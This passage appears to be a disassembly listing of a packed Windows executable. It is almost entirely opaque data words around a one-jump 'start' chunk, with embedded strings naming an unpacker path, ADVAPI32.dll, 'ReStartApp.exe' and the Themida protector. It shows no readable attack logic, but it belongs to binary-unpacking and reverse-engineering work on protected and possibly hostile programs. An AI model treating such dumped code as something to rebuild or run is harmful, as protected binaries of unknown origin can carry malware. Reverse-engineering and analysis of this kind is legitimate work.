		dd 0E4A3CECFh, 3FD7A27h, 3ADEF73Dh, 7AD0DB54h, 8CA4B4D4h
		dd 79C713Fh, 0B6EAAD29h, 1CF00547h, 76A2C35Fh, 0BF421A45h
		dd 0A4C0C125h, 16127BB8h, 2401747Ah, 0A3CBB751h, 8900012Ah
		dd 7D43B13Fh, 0AC4F0014h, 0D5789501h, 27AD7F83h, 244B3A48h
		dd 9BBA37D0h, 0A5159600h, 0BFE9CEC2h, 394926FDh, 22296074h
		dd 5A1C5C7Ah, 0BFC1F1C1h, 3D61279Ch, 0D73060h, 0ED2C7E43h
		dd 1310CBDBh, 8C149897h, 44542901h, 0D72A03C0h,	0B2C0FAB5h
		dd 4100D4F3h, 2EB98893h, 6BA31EF8h, 0C090B97Ah,	0F100A098h
		dd 0B2DD605Bh, 441333h,	347129E1h, 0D58064DAh, 8EEB0C05h
		dd 0C80C925h, 9174204h,	9EBFFB3Eh, 3FB720E8h, 70E6EB0h
		dd 3D3572h, 0E9F21F3Bh,	3F804C9h, 0CCC8476Bh, 4FF60874h
		dd 4C02B171h, 4717E32h,	2F9CA023h, 1166A6Bh, 47EA883Bh
		dd 6859BB2Ch, 1DE480E4h, 1725EFh, 6ED3B44Ah, 48681AE1h
		dd 0E6ED4912h, 0FB04C447h, 0C4BA1E71h, 593B860h, 613437AAh
		dd 45888847h, 1FA7B800h, 3CE931C8h, 0AC7100D1h,	0D9581AA9h
		dd 0C11B576Ah, 1D3E9C3Ah, 8071E9B9h, 0CEB76446h, 44B6FE10h
		dd 0F0B5A645h, 84C8833h, 0DDF99C1Eh, 0A1718039h, 96B93ABBh
		dd 8C00E8B1h, 746EF538h, 31400019h, 0D1E790F1h,	883DBE64h
		dd 0CFC60594h, 5CA2675Ch, 18199C00h, 9106A305h,	9255452Eh
		dd 0D2A4F400h, 3E9A7C7Ah, 1601A780h, 775926AFh,	0E41FF552h
		dd 3B0F91BAh, 7229E998h, 77D70C8h, 992AE207h, 7E41D18Fh
		dd 2C402EA6h, 3018542Ch, 837702D8h, 0F710CC11h,	0F4D87C8Ch
		dd 9672B301h, 0AC936854h, 0FE81A472h, 0CCB99D36h, 511DB740h
		dd 4AC0A725h, 0BE7EDAA5h, 899C6192h, 300CD333h,	12095734h
		dd 90494616h, 27B748h, 7721A3C4h, 7A916DB8h, 82D5B000h
		dd 50EEF642h, 6A90F68Eh, 4583123h, 0A162A6B5h, 0EBA12FB4h
		dd 83809C2Ch, 34B8EDE9h, 466F8B00h, 180F949Eh, 0D7FA058Fh
		dd 8036F231h, 98682CE4h, 6A98E05h, 68A2907Eh, 33C4FE3Bh
		dd 165CA300h, 6D94E1A6h, 1189856h, 19CF2586h, 0D650B267h
		dd 7240E054h, 0FAD4EB7h, 5F7451C6h, 47988400h, 2C1C8FB1h
		dd 2402F8C4h, 7C0B1210h, 6D8C4084h, 17015C43h, 0DDC988B4h
		dd 5EE6F84Bh, 0C66B80A8h, 0F597891Bh, 82198F3Ah, 3CBA2ED8h
		dd 2E8C4B5h, 0E84C21E7h, 0C0574085h, 2C901A35h,	41E8A56Dh
		dd 70FB2F7Fh, 85024CEEh, 0BFE1C64Bh, 4EDC5EECh,	5B08EB80h
		dd 912C128h, 4400A1ADh,	40AAFC4Ch, 20C94BBFh, 354E8D4Ch
		dd 71B0D602h, 0A0B5D0DAh, 0E08C7C24h, 0BE8A0E9Bh, 0F760C5EBh
		dd 0B012FED2h, 1338094Dh, 0DCD044A4h, 1D6047D4h, 195867h
		dd 0D1A8DFB9h, 0C305B3AEh, 0D0B1D697h, 3FC96BC6h, 4AF8CDAFh
		dd 0C8A42141h, 7FCEDCDBh, 0D216F8F3h, 49582F00h, 992CB02Ah
		dd 774E00C6h, 0F6D6BBE1h, 39FD06E9h, 76A70000h,	926B8D86h
		dd 0EF141CEAh, 0CA5FC9ABh, 1DD9D482h, 44E7F4E0h, 97A5AE0Bh
		dd 2881802Ch, 977DD1BCh, 0E950B490h, 8A83A63Ah,	0BCA27E37h
		dd 0F12D4062h, 0ADD80010h, 0A39BCBD4h, 0E0C98301h, 557CCFDFh
		dd 721072E4h, 0B33D00E3h, 81A617CCh, 0DD50DCC9h, 924824A3h
		dd 0D4FBC04Ch, 2DF4437Dh, 1890592Eh, 0E9001657h, 0F93E1E2Ah
		dd 98EF1A77h, 0D45B4C2Ah, 0B85F80DCh, 8D133E86h, 0CB2DBAB8h
		dd 0FE2010FBh, 0EDCD09BDh, 0C8244A5h, 13220FF4h, 36C4913Dh
		dd 7F62D9C4h, 748F13CDh, 7A3C209Fh, 0BA0F981Dh,	93562A9Ch
		dd 5DF4E4h, 6023418h, 640EE7D0h, 0CB9D2E17h, 0CE85201Ch
		dd 0B8A44938h, 605100D3h, 0C3DA67A5h, 82002548h, 0E569F41Ch
		dd 26B335h, 0C9DBBFFAh,	6591332Fh, 1357FE0Bh, 41E4123Bh
		dd 0B0100DE4h, 0D1009AE9h, 68F46CBh, 1D09CCCh, 0C1749C4h
		dd 2AA41F2Eh, 0E9D4C041h, 0A0CFCD38h, 2E6A2C2Bh, 46CC152h
		dd 803DAA88h, 94CB410Ch, 0A21F3F0Ah, 3E1C7Fh, 8D6F6DE2h
		dd 958F7753h, 76CBF002h, 9C905C74h, 0B0D8BE85h,	401E498h
		dd 0D720E9FFh, 0E033B636h, 80A5DC00h, 30F269FDh, 0F62F78C1h
		dd 0BDFBC7DAh, 0C9D02B81h, 0BE42DA8Ch, 4348E0B0h, 539580ACh
		dd 0A1366Fh, 1483733h, 1D528EE7h, 3C539448h, 0D8B63046h
		dd 247A148Bh, 980740h, 0BBEE2554h, 89C09F91h, 0A70EFD59h
		dd 162CEE7Ch, 0C815E298h, 2900D0BCh, 7732ED9Eh,	2E09B85h
		dd 3319113Bh, 2561139Ah, 80A83CE5h, 20C7CAB8h, 0C65307DDh
		dd 0E04EDB2Bh, 742A0356h, 0F68D793Eh, 0B93B00Eh, 0E161E1C2h
		dd 9C48A26Ch, 749E002Fh, 0A787EE13h, 1C02CAF4h,	98A51639h
		dd 0EED4070h, 4C04B5EAh, 0D814C784h, 3CDE0CBCh,	3184924h
		dd 9A16EDEBh, 7B980611h, 5305FA8Eh, 0AC87E0BEh,	89BF8C02h
		dd 68C898B3h, 66A40484h, 9DA019h, 7E1A1CD9h, 8820B18Fh
		dd 0DD8E9216h, 0D8B09343h, 26D900CBh, 0A6E3FB91h, 365EBC78h
		dd 0FFFD1020h, 0F9DC0199h, 8946C9B5h, 493EC0BCh, 0F8803C96h
		dd 841B857Dh, 27A20016h, 0D63DA94Eh, 0AE1C9752h, 0A6C52CC5h
		dd 6885C774h, 0CFCDAA01h, 0A043C95Fh, 8013CD8Ch, 48DAC03h
		dd 0E49FF265h, 0E72A0480h
		dd 0BB06DBF3h, 0A4881781h, 0B707F463h, 702B21h,	0CEB5ECC9h
		dd 0F71EA31Dh, 3D2C36C0h, 7109DDh, 0FD73E12Dh, 0EFA2D2C0h
		dd 319A6A0Eh, 43007FD8h, 92517071h, 607A002Eh, 0DF4D69CAh
		dd 0A460967Fh, 70F99821h, 0EB970190h, 0C8ADC13Ch, 5A588640h
		dd 1C6058BFh, 0ACC0FF43h, 26440332h, 9BC0F2B2h,	0F7FC2C8Bh
		dd 0C707E106h, 384190h,	32356353h, 1744EE45h, 0D2FC3700h
		dd 6D7B1D86h, 0E9C31828h, 1FD05976h, 3F524200h,	0D2DE8FECh
		dd 1C8E3FC0h, 136065h, 84E2E314h, 0B17E9282h, 0B78B8E03h
		dd 6FE981h, 0AEA3D421h,	0F70E5DDAh, 0C56C0800h,	0E8EF9D05h
		dd 63A1131Eh, 8BCE063Dh, 6F50F93Ch, 40067B7h, 740D2C27h
		dd 0C95FC6Ch, 5F0E136Eh, 28031459h, 0C68ECDAAh,	0A6E10294h
		dd 52FEDD5Eh, 7C7B880h,	324487A1h, 178900C4h, 0E6836FA8h
		dd 821F2762h, 608067B5h, 7949E11Bh, 0C7DE006Ah,	6BF2D57Ah
		dd 4C00E82Dh, 0A371650h, 197DB0AFh, 7193C6FAh, 0DAC8D1D1h
		dd 0D3DEC280h, 53E203BEh, 0D4481E60h, 0CF74FBAh, 5EB25AD6h
		dd 446059B9h, 77E6C151h, 3E4EEEFDh, 600004FBh, 833C0BF9h
		dd 41609671h, 0EA3885B9h, 0B8C3005Ah, 0DB8C4866h, 0F50EF1FEh
		dd 60FBF733h, 4F0FA481h, 1BCF005Ah, 256A8047h, 0C1001F5Dh
		dd 7DD8328Dh, 121942A5h, 20C713B4h, 0B0E6EE24h,	37297700h
		dd 7B2E930Ch, 0AF7000FDh, 0ED4DF21Fh, 0B9C06BE8h, 2725E64Ah
		dd 4FEA00F4h, 0E2FA936Ch, 0C31C427Dh, 0AE8040FFh, 5032E7B7h
		dd 0A3150480h, 9305173Bh, 28B06984h, 6C157968h,	24A09727h
		dd 7E4194E8h, 0A6C4A046h, 0F93B6096h, 0B09DBA88h, 8A782600h
		dd 70EF25AAh, 0D4555030h, 64C20017h, 9ADCDEA4h,	4A019B76h
		dd 24F1980h, 2420F75Ah,	63FE006Eh, 18B3335Bh, 0AB010B27h
		dd 0D464DD41h, 5DE44398h, 133B19A9h, 48EB8936h,	8FB88AD4h
		dd 3D0AA10Ah, 3BE98DBh,	0E92F63A2h, 0A711002Ch,	0F55B64CEh
		dd 0E30052EDh, 3940F616h, 0C33F96A1h, 1A63C8C9h, 2B49F3A8h
		dd 0E930337Bh, 0C98D4108h, 0CF510098h, 79929C4Fh, 613E4BFEh
		dd 8C821h, 33738BF3h, 10377C1h,	692AFD9Eh, 0EB112E2Fh
		dd 478AB3A0h, 6A635A74h, 503E94B9h, 0B368B79h, 617E6721h
		dd 0EFACA880h, 300E288Ch, 38C5A917h, 82BDD9h, 0B574316Fh
		dd 0EA2866CFh, 0D2E02A00h, 5BDCF845h, 8E1000F6h, 3C9E1161h
		dd 0C1CE0A49h, 0C774DBh, 16D64331h, 3D925C9h, 0C5C72FE4h
		dd 2800445Eh, 0DD8B8A48h, 288077h, 7A2707DEh, 557F186Dh
		dd 2E0D2479h, 315ADF1Eh, 714A3AD0h, 0DB801EC7h,	40469F14h
		dd 658E7743h, 0E01274Eh, 16A23FBFh, 9040FDF3h, 4CBE9B29h
		dd 0D33CB878h, 84A8F595h, 14B89072h, 5CDD3CFCh,	0F3FEA301h
		dd 0C46CA187h, 7C00D9F8h, 0C0C8223Dh, 8243EEBAh, 614E1CA0h
		dd 28025123h, 9248A9B1h, 40F084BDh, 6354D640h, 36044634h
		dd 5C0CBCE3h, 2AEA480h,	4F7132F1h, 0D0E12FA0h, 2460320Dh
		dd 0C0098EAAh, 44808485h, 0B7D730C0h, 0C9C62A88h, 0B90C02CCh
		dd 4CCB13C1h, 37E8AE60h, 0E067C1CFh, 4474C6AAh,	4DDA0032h
		dd 7D7787DDh, 84026662h, 8BC7FEE3h, 60E044E9h, 112C4A14h
		dd 1505B976h, 0F382B694h, 0B48BBA80h, 9F14006Ch, 0E7521CA0h
		dd 275C643Ch, 512B0E51h, 0A2D3BD7Ah, 85676408h,	4EEFBF62h
		dd 8A25F194h, 24884039h, 8BFC729Dh, 0F85CD507h,	0A308E25h
		dd 0AA838ECh, 0FFCC66B2h, 49458C18h, 263F0272h,	334E1E34h
		dd 905F4280h, 0B26D21h,	17193138h, 3BD4BC7Bh, 0C02C604Ch
		dd 8910DFDEh, 80A20C0Fh, 0CBA162E9h, 8D49E200h,	5EEA153Ah
		dd 0C26800B6h, 4FE771C7h, 440308A0h, 4E8D8C2Bh,	8F048522h
		dd 88065EBh, 1E25A09Ah,	0AC33E7AFh, 60CC4820h, 483549ECh
		dd 522436E2h, 88001490h, 0DDDF927h, 0E9A00C1Ah,	0A4382CC0h
		dd 72795E00h, 0C153E23h, 0FBEB00CDh, 0DB95387Fh, 0B74F2C85h
		dd 50063DACh, 39D1865Ah, 0E8394C0Ch, 89E93Ah, 0D53653Eh
		dd 0D3D2456Dh, 11EA174h, 79805280h, 0E3AE2326h,	0E7DB0FCBh
		dd 8F00049Bh, 0E8DF2C38h, 0D8C9EF0Eh, 512FAC92h, 8CE616FEh
		dd 375C009Ch, 0A61159BFh, 6C77817Fh, 862DF1C0h,	39587C1h
		dd 4DC05A80h, 410030E8h, 2596DADh, 0FA0F7Ah, 0C61DB346h
		dd 0EDBC61BEh, 179FA100h, 0F06A37C3h, 1C81017Bh, 0DDFEADF3h
		dd 40A84893h, 58D1A200h, 0F9169CD3h, 0C0D000A4h, 0F161F2A3h
		dd 8615F628h, 0E874ECh,	909BB9C5h, 5B0FDCD0h, 8FAC20h
		dd 0F6B62786h, 3B4F5841h, 0FC4933E4h, 0AC249Dh,	0C06C3A08h
		dd 9202F720h, 0F0532186h, 2CCC40D6h, 14E10080h,	0E2B56D0Ah
		dd 0FF03D552h, 0E8F77CE9h, 0C5F10034h, 57FB050Fh, 4B00998Ch
		dd 0CC1C173Fh, 0B11BA3h, 0EEC00D78h, 0CEDE9F11h, 5797F50Bh
		dd 7A4C90DFh, 75650B99h, 8C91E8BAh, 3D6BC462h, 0BE005E75h
		dd 4A46CA64h, 1FDFF60Eh, 0C5FD6F87h, 0C0FB1A8Ah, 6A31F450h
		dd 0E0E952h, 6656131Eh,	0FA4D9A0Dh, 0C5DF0BBBh,	0ED80D627h
		dd 236C96BEh, 5858C749h, 0C6FE1210h, 37360490h,	0E51F00DFh
		dd 6E027CE2h, 8A755C78h, 182A3A00h, 0C60FA297h,	0C89A5Fh
		dd 9272C9B4h, 3E4CA6B5h, 0D50023F0h, 9816E9BFh,	17B73087h
		dd 318B4FA1h, 0E8F1F4FCh, 9D0089FFh, 5AB0D853h,	7FE6B94h
		dd 80C1814Dh, 99477E64h, 94F2DF4Eh, 0AF80FF68h,	0C10466h
		dd 0CBEFA3D2h, 8D199F27h, 7C4CAFF0h, 3F4C5010h,	3EB41A5Ch
		dd 0FE7716D3h, 0C492E801h, 0DC20F9BFh, 731388A7h, 4F348AE6h
		dd 19813050h, 6460FADDh, 21B28941h, 7C403260h, 56FC2100h
		dd 0B58A538h, 9C3F0052h, 0A69F13B5h, 1614223Bh,	0BF01CCFBh
		dd 0D8FEFFh, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54BD74:				; CODE XREF: start:loc_4E1265j
					; DATA XREF: start:loc_4E1086o
		jmp	loc_54F30D
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 4
		dd 3 dup(0)
		dd 12FF5400h, 57CA8A00h, 2 dup(0)
		dd 100h, 5 dup(0)
		dd 200h, 4 dup(0)
		dd 0B1A1FE00h, 0
		dd 0FB597100h, 144628FFh, 0
		dd 400h, 0Ch dup(0)
		dd 8D8CFC00h, 77h, 576C7400h, 2	dup(0)
		dd 54FE4300h, 0Ah dup(0)
		dd 58002300h, 0
		dd 5C3A4300h, 6E755F6Dh, 6B636170h, 7265h, 7Ch dup(0)
		dd 0FF93E700h, 3E0050FFh, 0FEh,	0
		dd 597F5D00h, 32h, 0
		dd 9800h, 4 dup(0)
		dd 7000h, 4 dup(0)
		dd 68E95700h, 0E0h, 6 dup(0)
		dd 0FF715200h, 0FFh, 3 dup(0)
		dd 0E70300h, 2 dup(0)
		dd 0A3E11500h, 0D769DDA3h, 4Ch,	3 dup(0)
		dd 6C1900h, 0E28100h, 0
		dd 5000h, 3 dup(0)
		dd 5C3A4300h, 444E4957h, 5C53574Fh, 74737953h, 32336D65h
		dd 5644415Ch, 33495041h, 6C642E32h, 6Ch, 3Ah dup(0)
		dd offset dword_58EC00
		dd 9 dup(0)
		dd 7F3E0000h, 0E83E6806h, 77h, 0
		dd 0D400h, 0Ah dup(0)
		dd 0B03400h, 0F6h, 0
		dd 1FFB000h, 2,	5 dup(0)
		dd 56D84300h, 80h, 8 dup(0)
		dd 5A2BBC00h, 5	dup(0)
		dd 2B392000h, 12h, 6 dup(0)
		dd 8B114600h, 2, 6 dup(0)
		dd 58037000h, 100h, 0
		dd 4001E800h, 0A13E3B00h, 2 dup(0)
		dd 0BDF59500h, 13h, 0
		dd 12FF5400h, 0
		dd 0A876FF00h, 5Dh, 7 dup(0)
		dd 90C5000h, 0FEh, 8 dup(0)
		dd 0F92200h, 2 dup(0)
		dd 9FB77900h, 8B373988h, 5Bh, 2	dup(0)
		dd 0A19C3700h, 0Ah dup(0)
		dd 0F61B1100h, 0FEh, 9 dup(0)
		dd 12FFF000h, 2	dup(0)
		dd 5D0A4300h, 3	dup(0)
		dd 5C188A00h, 7	dup(0)
		dd 5800D500h, 4	dup(0)
		dd 54F93300h, 9	dup(0)
		dd 36363600h, 236h, 2 dup(0)
		dd 5BDCE900h, 0A5999500h, 1681A300h, 3Fh, 3 dup(0)
		dd 88BDCC00h, 5, 7 dup(0)
		dd 0A1A00F00h, 3 dup(0)
		dd 994C9700h, 5Ch, 0Bh dup(0)
		dd 767C00h, 7 dup(0)
		dd 59E9D100h, 4	dup(0)
		dd 0DD7FB600h, 37h, 0Dh	dup(0)
		dd 0FE030400h, 7Fh, 58002300h, 4 dup(0)
		dd 57B7E900h, 0
		dd 3A000h, 3 dup(0)
		dd 5AD3B400h, 3	dup(0)
		dd 89D0000h, 0F6h, 0E7A09900h, 5B8A6777h, 9 dup(0)
		dd 83E900h, 3 dup(0)
		dd 0A5FC1100h, 0FFh, 1Fh dup(0)
		dd 0E7A5FD00h, 9A197477h, 0EAh,	10h dup(0)
		dd 58F98100h, 6	dup(0)
		dd 9B52E000h, 46h, 0E6D70600h, 177877h,	4 dup(0)
		dd 68C88E00h, 6	dup(0)
		dd 200h, 0DD23D700h, 77h, 2 dup(0)
		dd 11B50500h, 0EEh, 4 dup(0)
		dd 0AC9F7700h, 58h, 3 dup(0)
		dd 0A169DD00h, 0
		dd 0E02C00h, 0A16CB000h, 7 dup(0)
		dd 0FF003E00h, 2377h, 2	dup(0)
		dd 0FF984000h, 0FFh, 0
		dd 8C381F00h, 4DF000F3h, 30h dup(0)
		dd 0B8000000h, 0
		dd 0DF3ADE00h, 0E0h, 0
		dd 0D4C96A00h, 426CB877h, 7BBBFE02h, 8033h, 3 dup(0)
		dd 5A0EEE00h, 4	dup(0)
		dd 5A000000h, 2, 3 dup(0)
		dd 16940000h, 0DBh, 2 dup(0)
		dd 5C188A00h, 0A18C0A00h, 1Ah dup(0)
		dd offset dword_5CDC00
		dd 0FFFFFF00h, 0FFh, 0
		dd 666A00h, 0A6ECB100h,	0FFh, 18h dup(0)
		dd 0E7DE5100h, 54EDD977h, 3 dup(0)
		dd 666A00h, 6 dup(0)
		dd 77E7B500h, 8Eh, 7 dup(0)
		dd 0A00A9A00h, 5 dup(0)
		dd 0A223E800h, 0
		dd 1300h, 0
		dd 1FCFC00h, 80h, 5 dup(0)
		dd 35B00h, 0C3BAF800h, 0A0B16888h, 2 dup(0)
		dd 907A6800h, 0B7h, 0Ah	dup(0)
		dd 0FE030400h, 57D6BA7Fh, 4 dup(0)
		dd 12FEF000h, 0A1A00F00h, 0
		dd 0E8216800h, 77h, 95362100h, 78h, 3C7FC100h, 12FFA43Dh
		dd 3 dup(0)
		dd 88C00h, 4 dup(0)
		dd 8795B800h, 31h, 0C530DF00h, 0A9h, 7 dup(0)
		dd 0B1CA00h, 3 dup(0)
		dd 58C15B00h, 0
		dd 5C510600h, 10h dup(0)
		dd 24242400h, 24h, 2 dup(0)
		dd 0A6CB3800h, 0FFh, 0
		dd 0FE030400h, 7Fh, 0
		dd 58F24800h, 4	dup(0)
		dd 666A00h, 7 dup(0)
		dd 0AFB1CA00h, 40100000h, 597F5D00h, 32h, 4 dup(0)
		dd 0A2156000h, 2 dup(0)
		dd 0FC0C0D00h, 28E63BB0h, 0E779636Ch, 77h, 2 dup(0)
		dd 5D1C6400h, 8	dup(0)
		dd 58775200h, 0
		dd 5C47F600h, 0FEBB9D00h, 0A1A0377Fh, 0
		dd 64E70300h, 0F4h, 0
		dd 0AC657900h, 7Ch, 0Bh	dup(0)
		dd 58034800h, 0
		dd 54EDDA00h, 0Bh dup(0)
		dd 0E8061800h, 54CA5577h, 55597400h, 4B8D8D86h,	86D80D68h
		dd 0A4622086h, 0FFh, 0
		dd 6C552800h, 0A215682Ah, 4 dup(0)
		dd 3A237C00h, 33h, 0
		dd 73655200h, 74726174h, 2E707041h, 657865h, 0Bh dup(0)
		dd 1FCFC00h, 80h, 335DC00h, 0F6h, 58F71000h, 4 dup(0)
		dd 5C0F2B00h, 5B000000h, 2, 0
		dd 4A8D8D00h, 36h, 3 dup(0)
		dd 666A00h, 0A1A00F00h,	41068800h, 8B0055FEh, 0E28DA5ECh
		dd 4Eh,	2 dup(0)
		dd 9400h, 2 dup(0)
		dd 0CAD17700h, 4Ah, 0Ah	dup(0)
		dd 124AF000h, 3	dup(0)
		dd 0AF00F800h, 8B205B00h, 0D477BB72h, 84h, 3 dup(0)
		dd 5EAC0E00h, 7DDF17h, 5 dup(0)
		dd 100h, 0
		dd 58775200h, 2	dup(0)
		dd 88000h, 2 dup(0)
		dd 0C3F44300h, 88h, 5913F100h, 0
		dd 666A00h, 92162900h, 0Fh, 14h	dup(0)
		dd 30400h, 3 dup(0)
		dd 100h, 2 dup(0)
		dd 0DD7FB600h, 37h, 4 dup(0)
		dd 0E82FE800h, 77h, 5 dup(0)
		dd 0FE030400h, 7Fh, 6 dup(0)
		dd 0DF7B300h, 35h, 4 dup(0)
		dd 0FE030400h, 0E600F87Fh, 77h,	4 dup(0)
		dd 0F3CB2800h, 0DFh, 0FFC56500h, 6Fh, 0Ah dup(0)
		dd 54EDA500h, 0A12BDE00h, 2 dup(0)
		dd 0FFFFFF00h, 0B4FFh, 54E73500h, 5 dup(0)
		dd 3A237C00h, 33h, 0DD000000h, 77h, 2 dup(0)
		dd 89DF800h, 0F6h, 0Ah dup(0)
		dd 12FFE000h, 3	dup(0)
		dd 58ECB700h, 6	dup(0)
		dd 0FE030400h, 6A097Fh,	8 dup(0)
		dd 5B0C5600h, 2	dup(0)
		dd 177800h, 2 dup(0)
		dd 100h, 5 dup(0)
		dd 5928BC00h, 0A109F700h, 598D2200h, 6 dup(0)
		dd 0FE030400h, 7Fh, 5A269F00h, 4 dup(0)
		dd 9400h, 8 dup(0)
		dd 8400h, 0
		dd 0AFB1CA00h, 3 dup(0)
		dd 5916B000h, 1Eh dup(0)
		dd 0E8FC4500h, 0FFh, 4 dup(0)
		dd 0E7A83700h, 77h, 0BF308B00h,	7Fh, 0
		dd 200000h, 0
		dd 57D44400h, 4A6CB800h, 5A79E502h, 0
		dd 0FF7C1700h, 0FFh, 9 dup(0)
		dd 1900h, 9 dup(0)
		dd 1962A100h, 37h, 400h, 1FCFC00h, 80h,	2 dup(0)
		dd 5AC06100h, 0
		dd 5AFBB900h, 5	dup(0)
		dd 5876DA00h, 7	dup(0)
		dd 15E900h, 6 dup(0)
		dd 0FE030400h, 8ACE8D7Fh, 32h, 7 dup(0)
		dd 3D9400h, 21212100h, 21h, 0
		dd 0DE00000h, 2	dup(0)
		dd 0CA368E00h, 0DDh, 7 dup(0)
		dd 5973DD00h, 6	dup(0)
		dd 5501A300h, 3	dup(0)
		dd 0E7C78500h, 77h, 0
		dd 4663C00h, 0FE0304E3h, 7Fh, 6	dup(0)
		dd 5D000000h, 2, 0
		dd 85E6DB00h, 0D9h, 89C2800h, 66h, 57B7E900h, 2	dup(0)
		dd 0A37FD800h, 5 dup(0)
		dd 0B400h, 2 dup(0)
		dd 58930100h, 0FFE95000h, 0FFh,	7187D300h, 3Ah,	5 dup(0)
		dd 1CAB4E00h, 66h, 0
		dd 54CDF900h, 5	dup(0)
		dd 42000000h, 0A7698E02h, 5D033F05h, 2 dup(0)
		dd 58004600h, 80h, 3 dup(0)
		dd 4A6CB800h, 0E805D802h, 1E9F7F77h, 3,	13h dup(0)
		dd 0FF9D2400h, 0FFh, 0FF9C2400h, 88FFh,	0Ch dup(0)
		dd 5BF22400h, 0
		dd 5A7A1E00h, 13h dup(0)
		dd 0E7C78500h, 77h, 5 dup(0)
		dd 9AD4D600h, 7, 0A169DD00h, 0
		dd 0A15E2E00h, 89C2800h, 66h, 57CA8A00h, 5824E800h, 576C7800h
		dd 4 dup(0)
		dd 5BB9F600h, 5BDAF100h, 3 dup(0)
		dd 0FE030400h, 7Fh, 4 dup(0)
		dd 5BF97300h, 0
		dd 59BEBF00h, 2400h, 0A7ABCA00h, 0B41B40FFh, 12FEF876h
		dd 0
		dd 58004600h, 80h, 5 dup(0)
		dd 0A00A9A00h, 0
		dd 4BBFE900h, 58h, 0A462CB00h, 0FFh, 2 dup(0)
		dd 0A1229200h, 8 dup(0)
		dd 0FF93E700h, 247E1BFFh, 6, 6 dup(0)
		dd 0B76B4600h, 0BAh, 3 dup(0)
		dd 3B800h, 0D8BF7800h, 4C1BF7Bh, 3Eh, 2	dup(0)
		dd 0A1A00F00h, 6 dup(0)
		dd 42000800h, 2, 3 dup(0)
		dd 666A00h, 3 dup(0)
		dd 10B7E900h, 9000h, 0FFB000h, 5 dup(0)
		dd 0FE030400h, 7Fh, 7 dup(0)
		dd 0B25FF800h, 4 dup(0)
		dd 0A2156400h, 0
		dd 62A8D400h, 0BDh, 0
		dd 58004600h, 80h, 0Ah dup(0)
		dd 0DFF2AC00h, 0E793EF7Dh, 77h,	5 dup(0)
		dd 58DE8E00h, 0A0D55400h, 57D6BA00h, 2695700h, 57BA023Dh
		dd 0A3731600h, 10h dup(0)
		dd 0B080E600h, 6218h, 0A222D800h, 0C00h, 8 dup(0)
		dd 0C3FBB500h, 5B00000Dh, 2, 0FE030400h, 7Fh, 2	dup(0)
		dd 1FCFC00h, 0FE030480h, 7Fh, 0Ch dup(0)
		dd 77BF00h, 3 dup(0)
		dd 0FFFF2500h, 0FFh, 0
		dd 0FF9C2400h, 0FFh, 0Bh dup(0)
		dd 325200h, 0DD5ECC00h,	77h, 4 dup(0)
		dd 0F78CF800h, 5Dh, 6 dup(0)
		dd 78E14000h, 5BBB1BCDh, 0Ch dup(0)
		dd 0A1939300h, 0
		dd 100h, 0
		dd 3A237C00h, 33h, 0B5h	dup(0)
		dd 2A00h, 5 dup(0)
		dd 5DB6EC00h, 7, 0
		dd 7C00h, 0Fh dup(0)
		dd 1FCFC00h, 80h, 5 dup(0)
		dd 4E4B0300h, 37h, 8 dup(0)
		dd 0A169DD00h, 4 dup(0)
		dd 0D4C96A00h, 0FE030477h, 5A2BBD7Fh, 0
		dd 5888C200h, 0AF000000h, 0
		dd 77E7B500h, 8Eh, 4 dup(0)
		dd 0A169DD00h, 100h, 6 dup(0)
		dd 0AAB5C600h, 0FDh, 2 dup(0)
		dd 0A00A9A00h, 2 dup(0)
		dd 0FE030400h, 0F5180B7Fh, 77h,	3849C000h, 0AA783FDh, 1
		dd 4 dup(0)
		dd 63D51E00h, 77h, 3 dup(0)
		dd 11111100h, 11h, 17h dup(0)
		dd 12E800h, 0
		dd 0AC00h, 2 dup(0)
		dd 0A1314500h, 0
		dd 5A00E800h, 8B9F7F95h, 0FAh, 28h dup(0)
		dd 0E737DE00h, 58F6C877h, 0
		dd 71905800h, 5C188AFFh, 8 dup(0)
		dd 8600h, 0
		dd 0DD189A00h, 77h, 0
		dd 5A27D800h, 7	dup(0)
		dd 54D68500h, 2	dup(0)
		dd 5955C500h, 5	dup(0)
		dd 2CAB00h, 0Ah	dup(0)
		dd 0FC0C0D00h, 580023B0h, 0E7C48600h, 77h, 4 dup(0)
		dd 14F0000h, 0EEB4ED11h, 7Fh, 5AD3F100h, 2 dup(0)
		dd 0FFFFFF00h, 0FFh, 0
		dd 0FE030400h, 7Fh, 3 dup(0)
		dd 59651800h, 0B800h, 56055100h, 0FFFFFF32h, 585438FFh
		dd 40000000h, 5	dup(0)
		dd 0E776CD00h, 77h, 7824B900h, 5Eh, 0Dh	dup(0)
		dd 0A0000000h, 12FEF000h, 5 dup(0)
		dd 0ED02F800h, 0FFh, 3 dup(0)
		dd 0AF003E00h, 0
		dd 426CB800h, 2, 2 dup(0)
		dd 0AB2300h, 2 dup(0)
		dd 0E6000000h, 564377h,	0
		dd 0A18C0A00h, 0FE030400h, 0A1A00F7Fh, 3 dup(0)
		dd 666A00h, 54E73500h, 6 dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 4B8D8D00h, 68h, 0
		dd 0FF8D0C00h, 0A3B134FFh, 183FC00h, 4001E800h,	0
		dd 0A1915B00h, 0
		dd 5876EC00h, 767C00h, 0A400h, 2427500h, 5C3D9100h, 2300h
		dd 0F5000000h, 77h, 0
		dd 5895A300h, 0
		dd 65685400h, 6164696Dh, 1Ch dup(0)
		dd 7BF7FB00h, 75h, 6 dup(0)
		dd 69D08100h, 4Eh, 0
		dd 0FE030400h, 7Fh, 0
		dd 0A1949900h, 44A3F900h, 0A5A5E778h, 3	dup(0)
		dd 8BA000h, 5 dup(0)
		dd 0A169DD00h, 0A1923400h, 0
		dd 0A7BA1700h, 0A2h, 6 dup(0)
		dd 0E78B8200h, 77h, 0
		dd 13A800h, 7 dup(0)
		dd 8B9F7F00h, 7D1FAh, 200h, 0
		dd 5AE2EF00h, 80h, 0
		dd 1FCFC00h, 80h, 7400h, 669CC900h, 34h, 3 dup(0)
		dd 200h, 3 dup(0)
		dd 54002300h, 4	dup(0)
		dd 5BBF4B00h, 1FCFC00h,	80h, 0
		dd 0B17C8100h, 3 dup(0)
		dd 83E900h, 5 dup(0)
		dd 58002300h, 3	dup(0)
		dd 7154B900h, 4Bh, 0
		dd 597F5D00h, 32h, 7 dup(0)
		dd 100h, 1FCFC00h, 80h,	0
		dd 0A170C400h, 0
		dd 11B50500h, 0EEh, 4 dup(0)
		dd 0A800h, 59071300h, 0A58D5300h, 2 dup(0)
